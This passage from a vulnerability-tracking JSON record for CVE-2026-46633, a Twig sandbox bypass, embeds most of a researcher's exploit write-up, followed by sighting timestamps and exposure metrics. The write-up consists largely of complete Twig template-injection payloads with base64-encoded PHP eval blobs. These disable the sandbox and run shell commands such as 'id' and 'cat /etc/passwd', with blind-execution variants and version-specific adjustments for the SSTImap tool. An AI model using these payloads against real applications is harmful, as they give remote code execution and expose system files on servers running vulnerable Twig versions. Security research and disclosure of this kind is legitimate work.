eval(base64_decode('cHJpbnRfcigkdGhpcyk7cmV0dXJuIG5ldyAgIFR3aWdcU291cmNlKCIiLCR0aGlzLT5nZXRUZW1wbGF0ZU5hbWUoKSwiIik7'));}}trait A{function a(){if(0){//\" with a as b %}\n```\n\nWe still get the error, as there is no template that has our payload as the name.\nTo avoid it, we would need to add that template ourselves.\n\nIt would need to contain the block called `a` and a name with our payload.\nTo get the name, we could re-compile our template and find the name in the source code using the regex:\n\n```php\n$n = $this-&gt;getTemplateName();\n$e = $this-&gt;env;\n$s = $e-&gt;compileSource($e-&gt;getLoader()-&gt;getSourceContext($n));\npreg_match('/sstimap1.*sstimap2/', $s, $m);\n$e-&gt;getLoader()-&gt;setTemplate($m[0], '{%block a%}{%endblock%}');\nreturn new Twig\\Source(\"\", $n, \"\");\n```\n\nTemplate that achieves RCE without errors (Base64 blob uses minified code):\n\n```twig\n{% use \"sstimap1');}}use A;function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTsNCiRlLT5nZXRMb2FkZXIoKS0+c2V0VGVtcGxhdGUoJG1bMF0sJ3slYmxvY2sgYSV9eyVlbmRibG9jayV9Jyk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}}trait A{function a(){if(0){//sstimap2\" with a as b %}\n```\n\nWe can also overwrite the `checkSecurity()` function from the trait to disable the sandbox (but only in the main template):\n\n```twig\n{% use \"sstimap1');}}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTsNCiRlLT5nZXRMb2FkZXIoKS0+c2V0VGVtcGxhdGUoJG1bMF0sJ3slYmxvY2sgYSV9eyVlbmRibG9jayV9Jyk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}}trait A{function a(){if(0){//sstimap2\" with a as b %}\n```\n\nTo inject the code without changing a big Base64 blob I decided to separate the injection and the payload.\nThe payload could be provided in Base64 as a constant on the class and the big blob can process it.\nHere is the code of the big Base64 blob:\n\n```php\n$n = $this-&gt;getTemplateName();\n$e = $this-&gt;env;\n$s = $e-&gt;compileSource($e-&gt;getLoader()-&gt;getSourceContext($n));\npreg_match('/sstimap1.*sstimap2/', $s, $m);\n$e-&gt;getLoader()-&gt;setTemplate($m[0], '{%block a%}{%endblock%}');\necho eval('return ' . base64_decode(self::p) . ';');\nreturn new Twig\\Source(\"\", $n, \"\");\n```\n\nTemplate that accepts payloads in Base64 (blob uses minified code, payload is `shell_exec(\"id\")`/`c2hlbGxfZXhlYygiaWQiKQ==`):\n\n```twig\n{% use \"sstimap1');}}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTsNCiRlLT5nZXRMb2FkZXIoKS0+c2V0VGVtcGxhdGUoJG1bMF0sJ3slYmxvY2sgYSV9eyVlbmRibG9jayV9Jyk7ZWNobyBldmFsKCdyZXR1cm4gJy5iYXNlNjRfZGVjb2RlKHNlbGY6OnApLic7Jyk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='c2hlbGxfZXhlYygiaWQiKQ==';}trait A{function a(){if(0){//sstimap2\" with a as b %}\n```\n\nThis template still breaks the complete rendering, as `__construct()` never finishes properly.\nTo fix this, we would need to somehow run code from our `a()` trait function in the context of `__construct()`.\nPHP does not give us an easy way to run the function in another context or grab the code for `eval`.\n\nLuckily, we are already in the same class, so we only need to make local variables available in `a()`.\nFor example, we can save local variables into a global array in `__construct()` and then `extract` them inside `a()`.\nThis could be done with more Base64 blobs and `eval`s:\n\n```php\n// in __construct():\nglobal $sstimap;\n$sstimap = array_diff_key(get_defined_vars(), $GLOBALS);\n$this-&gt;a();\n\n// in a():\nglobal $sstimap;\nextract($sstimap);\n```\n\nAnd our template now looks like this:\n\n```twig\n{% use \"sstimap1');}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTsNCiRlLT5nZXRMb2FkZXIoKS0+c2V0VGVtcGxhdGUoJG1bMF0sJ3slYmxvY2sgYSV9eyVlbmRibG9jayV9Jyk7ZWNobyBldmFsKCdyZXR1cm4gJy5iYXNlNjRfZGVjb2RlKHNlbGY6OnApLic7Jyk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='c2hlbGxfZXhlYygiaWQiKQ==';}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2\" with a as b %}\n```\n\nThis payload will only work for **Twig** versions &gt;=2.7.0 &lt;3.26.0.\nBefore that, `new Twig\\Source(\"\", $n, \"\")` will create `Twig_Source` class that will not match expected `Source`.\nTo address that, we can conditionally add an alias to `Twig_Source`:\n\n```twig\n{% use \"sstimap1');}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTsNCiRlLT5nZXRMb2FkZXIoKS0+c2V0VGVtcGxhdGUoJG1bMF0sJ3slYmxvY2sgYSV9eyVlbmRibG9jayV9Jyk7ZWNobyBldmFsKCdyZXR1cm4gJy5iYXNlNjRfZGVjb2RlKHNlbGY6OnApLic7Jyk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='c2hlbGxfZXhlYygiaWQiKQ==';}if(!class_exists('Source')){class_alias('Twig_Source','Source');}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2\" with a as b %}\n```\n\nWe can restore the original rendering, but we still need a way to get the output of our injected code back into the template.\nSince we already disabled the sandbox, we can use Twig's own `block()` function to pass the output through our block:\n\n```php\n$n = $this-&gt;getTemplateName();\n$e = $this-&gt;env;\n$s = $e-&gt;compileSource($e-&gt;getLoader()-&gt;getSourceContext($n));\npreg_match('/sstimap1.*sstimap2/', $s, $m);\n$e-&gt;getLoader()-&gt;setTemplate($m[0], '{%block a%}' . eval('return ' . base64_decode(self::p) . ';') . '{%endblock%}');\nreturn new Twig\\Source(\"\", $n, \"\");\n```\n\nAnd the final **Rendered** payload now looks like this:\n\n```twig\n{% use \"sstimap1');}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfScuZXZhbCgncmV0dXJuICcuYmFzZTY0X2RlY29kZShzZWxmOjpwKS4nOycpLid7JWVuZGJsb2NrJX0nKTtyZXR1cm4gbmV3IFR3aWdcU291cmNlKCIiLCRuLCIiKTs='));}const p='c2hlbGxfZXhlYygiaWQiKQ==';}if(!class_exists('Source')){class_alias('Twig_Source','Source');}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2\" with a as b %}{{block('b')}}\n```\n\nFor **Boolean Error-Based Blind** technique I used a similar approach, but decided to split code evaluation and shell execution:\n\n```php\n// PHP code evaluation:\n$n = $this-&gt;getTemplateName();\n$e = $this-&gt;env;\n$s = $e-&gt;compileSource($e-&gt;getLoader()-&gt;getSourceContext($n));\npreg_match('/sstimap1.*sstimap2/', $s, $m);\n$e-&gt;getLoader()-&gt;setTemplate($m[0], '{%block a%}{%endblock%}');\n1 % (true &amp;&amp; eval('return ' . base64_decode(self::p) . ';'));\nreturn new Twig\\Source(\"\", $n, \"\");\n\n// Shell command execution:\n$n = $this-&gt;getTemplateName();\n$e = $this-&gt;env;\n$s = $e-&gt;compileSource($e-&gt;getLoader()-&gt;getSourceContext($n));\npreg_match('/sstimap1.*sstimap2/', $s, $m);\n$e-&gt;getLoader()-&gt;setTemplate($m[0], '{%block a%}{%endblock%}');\n1 % (pclose(popen(base64_decode(self::p), \"wb\")) == 0);\nreturn new Twig\\Source(\"\", $n, \"\");\n```\n\nAnd our final **Boolean Error-Based Blind** payloads are:\n\n```twig\n# PHP code evaluation (payload is: c3RybGVuKCdUZXN0JykgPT0gNA== / strlen('Test') == 4):\n{% use \"sstimap1');}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfXslZW5kYmxvY2slfScpOzElKHRydWUmJmV2YWwoJ3JldHVybiAnLmJhc2U2NF9kZWNvZGUoc2VsZjo6cCkuJzsnKSk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='c3RybGVuKCdUZXN0JykgPT0gNA==';}if(!class_exists('Source')){class_alias('Twig_Source','Source');}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2\" with a as b %}\n\n# Shell command execution (payload is: Y2F0IC9ldGMvcGFzc3dk / cat /etc/passwd):\n{% use \"sstimap1');}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfXslZW5kYmxvY2slfScpOzElKHBjbG9zZShwb3BlbihiYXNlNjRfZGVjb2RlKHNlbGY6OnApLCJ3YiIpKT09MCk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='Y2F0IC9ldGMvcGFzc3dk';}if(!class_exists('Source')){class_alias('Twig_Source','Source');}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2\" with a as b %}\n```\n\nSimilarly to the first payload, these payloads work for **Twig** versions &gt;=2.5.0 &lt;3.26.0 in sandboxed and unsandboxed environments.\nIn **Twig** versions &lt;2.4.5, `getSourceContext()` is not called by the constructor, so I was unable to avoid the eventual fatal error.\nFor **Twig** versions &gt;=2.4.5 &lt;2.5.0 the payloads need an additional `)` to escape the context and the function return type can be removed:\n\n```twig\n# Rendered:\n{% use \"sstimap1'));}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext(){return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfScuZXZhbCgncmV0dXJuICcuYmFzZTY0X2RlY29kZShzZWxmOjpwKS4nOycpLid7JWVuZGJsb2NrJX0nKTtyZXR1cm4gbmV3IFR3aWdcU291cmNlKCIiLCRuLCIiKTs='));}const p='c2hlbGxfZXhlYygiaWQiKQ==';}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2\" with a as b %}{{block('b')}}\n# Boolean Error-Based Blind PHP code evaluation (payload is: c3RybGVuKCdUZXN0JykgPT0gNA== / strlen('Test') == 4):\n{% use \"sstimap1'));}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext(){return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfXslZW5kYmxvY2slfScpOzElKHRydWUmJmV2YWwoJ3JldHVybiAnLmJhc2U2NF9kZWNvZGUoc2VsZjo6cCkuJzsnKSk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='c3RybGVuKCdUZXN0JykgPT0gNA==';}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2\" with a as b %}\n# Boolean Error-Based Blind shell command execution (payload is: Y2F0IC9ldGMvcGFzc3dk / cat /etc/passwd):\n{% use \"sstimap1'));}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext(){return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfXslZW5kYmxvY2slfScpOzElKHBjbG9zZShwb3BlbihiYXNlNjRfZGVjb2RlKHNlbGY6OnApLCJ3YiIpKT09MCk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='Y2F0IC9ldGMvcGFzc3dk';}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2\" with a as b %}\n```\n\n## Limitations\n\nThe first payload works for all Twig contexts in vulnerable versions, but requires two variations:\n\n- **Twig** versions &gt;=2.5.0 &lt;3.26.0\n- **Twig** versions &gt;=1.15.1 &lt;2.5.0\n\nHere are the limitations that can prevent the second payload from working in some cases:\n\n- Second template needs a `{% block ... %}` tag, which can be blocked by the global sandbox\n- The payload assumes that the backend uses `ArrayLoader`, which might not be true\n- The payload relies on `getSourceContext()` call in `__construct()`, which was only added in Twig 2.4.5\n\nConsidering these limitations, second payload still requires two variations:\n\n- **Twig** versions &gt;=2.5.0 &lt;3.26.0\n- **Twig** versions &gt;=2.4.5 &lt;2.5.0\n\n## SSTImap modules\n\nSince **Twig** versions &gt;=1.15.1 &lt;2.5.0 require slightly different payloads, I decided to create two separate modules for old and new versions.\n\nAdapting PHP payloads for the SSTImap module required dealing with the escaping, as there was no way to define variables.\nI avoided using the variables by pre-calculating the length of the Base64-encoded string.\nThis small change allowed me to reuse PHP code injection payloads as the injected code.\n\nSince the second payload has many limitations, I decided to keep all previous **Twig** CVE payloads to provide all the techniques.\n", "url": "https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6"}, {"timestamp": "2026-10-21T09:02:41Z", "date_only": false, "value": "2026-10-21T09:02:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/198519", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "dcfbcc27-8311-4ba1-9a72-94fb2c13c0b9", "content": "CVE-2026-46633: Proving exploitability of Twig sandbox bypass\nhttps://www.reddit.com/r/redteamsec/comments/1xb2tex/cve202646633_proving_exploitability_of_twig/\n\nI continued researching sandbox bypasses discovered in Twig by project Glasswing. This time, I focused on CVE-2026-46633, which still had no public exploits. This writeup documents my development of payloads for the CVE-2026-46633 and the corresponding SSTImap modules.    submitted by    /u/vladko312  (https://www.reddit.com/user/vladko312) \n [link] (https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6)   [comments] (https://www.reddit.com/r/redteamsec/comments/1xb2tex/cve202646633_proving_exploitability_of_twig/)", "url": "https://t.me/hacking_Attack/198519", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-10-24T04:52:02Z", "date_only": false, "value": "2026-10-24T04:52:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/198860", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "d215c02d-acf4-4a3d-9455-13e14a05d7ca", "content": "CVE-2026-46633: Proving exploitability of Twig sandbox bypass\nhttps://www.reddit.com/r/redteamsec/comments/1xcl0wg/cve202646633_proving_exploitability_of_twig/\n\nI continued researching sandbox bypasses discovered in Twig by project Glasswing. This time, I focused on CVE-2026-46633, which still had no public exploits. This writeup documents my development of payloads for the CVE-2026-46633 and the corresponding SSTImap modules.    submitted by    /u/vladko312  (https://www.reddit.com/user/vladko312) \n [link] (https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6)   [comments] (https://www.reddit.com/r/redteamsec/comments/1xcl0wg/cve202646633_proving_exploitability_of_twig/)", "url": "https://t.me/hacking_Attack/198860", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-10-24T04:52:02Z", "date_only": false, "value": "2026-10-24T04:52:02.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/198860", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "badad984-1a04-4b32-b573-ff252d86feff", "content": "CVE-2026-46633: Proving exploitability of Twig sandbox bypass\nhttps://www.reddit.com/r/redteamsec/comments/1xcl0wg/cve202646633_proving_exploitability_of_twig/\n\nI continued researching sandbox bypasses discovered in Twig by project Glasswing. This time, I focused on CVE-2026-46633, which still had no public exploits. This writeup documents my development of payloads for the CVE-2026-46633 and the corresponding SSTImap modules.    submitted by    /u/vladko312  (https://www.reddit.com/user/vladko312) \n [link] (https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6)   [comments] (https://www.reddit.com/r/redteamsec/comments/1xcl0wg/cve202646633_proving_exploitability_of_twig/)", "url": "https://t.me/hacking_Attack/198860"}, {"timestamp": "2026-10-24T22:24:31.105Z", "date_only": false, "value": "2026-10-24T22:24:31.105897Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-redteamsec.bsky.social/post/3mynqbrnkyr27", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "ea85fdf6-0528-4a97-8fc4-abf9caa7eb71", "content": "CVE-2026-46633: Proving exploitability of Twig sandbox bypass", "url": "https://bsky.app/profile/r-redteamsec.bsky.social/post/3mynqbrnkyr27"}, {"timestamp": "2026-11-04T00:00:31Z", "date_only": false, "value": "2026-11-04T00:00:31Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-7P85-W9PX-JPJP", "record": "GHSA-7P85-W9PX-JPJP", "field": "modified", "linked_record": true}, {"timestamp": "2026-11-04T00:01:29.155Z", "date_only": false, "value": "2026-11-04T00:01:29.155Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-46633", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-11-04T00:01:29.155Z", "date_only": false, "value": "2026-11-04T00:01:29.155Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / GitHub_M", "record": "CVE-2026-46633", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-11-04T00:17:27.887Z", "date_only": false, "value": "2026-11-04T00:17:27.887", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-46633", "record": "FKIE_CVE-2026-46633", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-11-05T04:29:22Z", "date_only": false, "value": "2026-11-05T04:29:22Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2026-46633", "record": "UBUNTU-CVE-2026-46633", "field": "modified", "linked_record": true}], "metrics": {"as_of": "2026-11-12T22:48:52.515Z", "anchors": {"origin": {"timestamp": "2026-05-21T21:24:53Z", "date_only": false, "value": "2026-05-21T21:24:53Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-7P85-W9PX-JPJP", "record": "GHSA-7P85-W9PX-JPJP", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2026-05-21T21:24:53Z", "date_only": false, "value": "2026-05-21T21:24:53Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-7P85-W9PX-JPJP", "record": "GHSA-7P85-W9PX-JPJP", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "exploit_publication": {"timestamp": "2026-09-02T01:00:20.497Z", "date_only": false, "value": "2026-09-02T01:00:20.497054Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/186840", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "2a39a0f8-b2a4-4aea-beee-7b5392482452", "content": "CVE-2026-46640: Developing payloads for Twig sandbox bypass\nhttps://www.reddit.com/r/redteamsec/comments/1tyx0ss/cve202646640_developing_payloads_for_twig_sandbox/\n\nI recently learned about multiple sandbox bypasses discovered in Twig by project Glasswing. From the descriptions, only CVE-2026-46640 and CVE-2026-46633 seemed universally exploitable, so I decoded to research them. This writeup documents my development of payloads for the CVE-2026-46640 and the corresponding SSTImap module.    submitted by    /u/vladko312  (https://www.reddit.com/user/vladko312) \n [link] (https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128)   [comments] (https://www.reddit.com/r/redteamsec/comments/1tyx0ss/cve202646640_developing_payloads_for_twig_sandbox/)", "url": "https://t.me/hacking_Attack/186840", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": true, "seconds": 8912127.497, "hours": 2475.5909713888886, "days": 103.14962380787037, "min_seconds": 8912127.497, "max_seconds": 8912127.497, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-05-21T21:24:53Z", "date_only": false, "value": "2026-05-21T21:24:53Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-7P85-W9PX-JPJP", "record": "GHSA-7P85-W9PX-JPJP", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2026-09-02T01:00:20.497Z", "date_only": false, "value": "2026-09-02T01:00:20.497054Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/186840", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "2a39a0f8-b2a4-4aea-beee-7b5392482452", "content": "CVE-2026-46640: Developing payloads for Twig sandbox bypass\nhttps://www.reddit.com/r/redteamsec/comments/1tyx0ss/cve202646640_developing_payloads_for_twig_sandbox/\n\nI recently learned about multiple sandbox bypasses discovered in Twig by project Glasswing. From the descriptions, only CVE-2026-46640 and CVE-2026-46633 seemed universally exploitable, so I decoded to research them. This writeup documents my development of payloads for the CVE-2026-46640 and the corresponding SSTImap module.    submitted by    /u/vladko312  (https://www.reddit.com/user/vladko312) \n [link] (https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128)   [comments] (https://www.reddit.com/r/redteamsec/comments/1tyx0ss/cve202646640_developing_payloads_for_twig_sandbox/)", "url": "https://t.me/hacking_Attack/186840", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 15125039.515758, "hours": 4201.3998654883335, "days": 175.05832772868055, "min_seconds": 15125039.515758, "max_seconds": 15125039.515758, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-05-21T21:24:53Z", "date_only": false, "value": "2026-05-21T21:24:53Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-7P85-W9PX-JPJP", "record": "GHSA-7P85-W9PX-JPJP", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2026-11-12T22:48:52.515Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": true, "seconds": 6212912.018758, "hours": 1725.8088940994444, "days": 71.90870392081018, "min_seconds": 6212912.018758, "max_seconds": 6212912.018758, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-09-02T01:00:20.497Z", "date_only": false, "value": "2026-09-02T01:00:20.497054Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/186840", "record": "CVE-2026-46633", "field": "creation_timestamp", "uuid": "2a39a0f8-b2a4-4aea-beee-7b5392482452", "content": "CVE-2026-46640: Developing payloads for Twig sandbox bypass\nhttps://www.reddit.com/r/redteamsec/comments/1tyx0ss/cve202646640_developing_payloads_for_twig_sandbox/\n\nI recently learned about multiple sandbox bypasses discovered in Twig by project Glasswing. From the descriptions, only CVE-2026-46640 and CVE-2026-46633 seemed universally exploitable, so I decoded to research them. This writeup documents my development of payloads for the CVE-2026-46640 and the corresponding SSTImap module.    submitted by    /u/vladko312  (https://www.reddit.com/user/vladko312) \n [link] 